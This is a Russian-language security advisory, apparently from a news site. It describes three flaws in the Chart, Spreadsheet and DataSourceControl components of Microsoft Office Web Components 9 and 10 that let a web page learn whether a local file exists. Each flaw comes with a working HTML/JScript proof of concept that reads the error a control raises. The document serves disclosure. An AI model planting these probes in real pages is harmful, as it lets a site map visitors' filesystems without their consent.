Есть несколько способов проверить существования местных файлов, используя OWC9 и OWC10.

Первая уязвимость находится в компоненте Chart в OWC9 и OWC10. "Load" метод не выполняет проверку защиты на назначенном URL и выдает ошибку когда
переданное имя файла не существует, иначе файл существует.

Пример: 

<object id="oCS" classid="clsid:0002E500-0000-0000-C000-000000000046" style="display:none"></object>
<!-- For OWC10 the clsid is "0002E556-0000-0000-C000-000000000046" -->

<script language="jscript">
onload=function () {
try {
oCS.Load("file://c:/test.txt");
alert("File exists!");
}
catch (oErr) {
alert("File does not exist.");
}
}
</script>

Вторая уязвимость находится в компоненте Spreadsheet в OWC10. Свойство "XMLURL" позволяет выполнять переадресацию
к местному файлу - по выдаваемой ошибке
можно определить существует ли он.

Пример:

<object id="oSP" classid="clsid:0002E551-0000-0000-C000-000000000046" style="display:block"></object>
<script language="jscript">
onload=function () {
try {
oSP.XMLURL="getFile.asp";
}
catch (oErr) {
alert(oErr.description.indexOf("valid path")==-1 ? "File exists!" :
"File does not exist.");
}
}
</script>

Третья уязвимость находится в компоненте DataSourceControl в OWC10. Свойство "ConnectionFile" не
выполняет проверку на переданном URL. Поэтому
можно указать на местный файл и определить, существует ли он или нет по выдаваемой ошибке.

Пример:

<object id="oDS" classid="clsid:0002E553-0000-0000-C000-000000000046" style="display:block"></object>
<script language="jscript">
onload=function () {
try {
oDS.ConnectionFile="file://c:/test.txt";
}
catch (oErr) {
alert(oErr.number==-2146697211 ? "File does not exist." : "File
exists!");
}
}
</script>

Уязвимость найдена в OWC 9-10.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии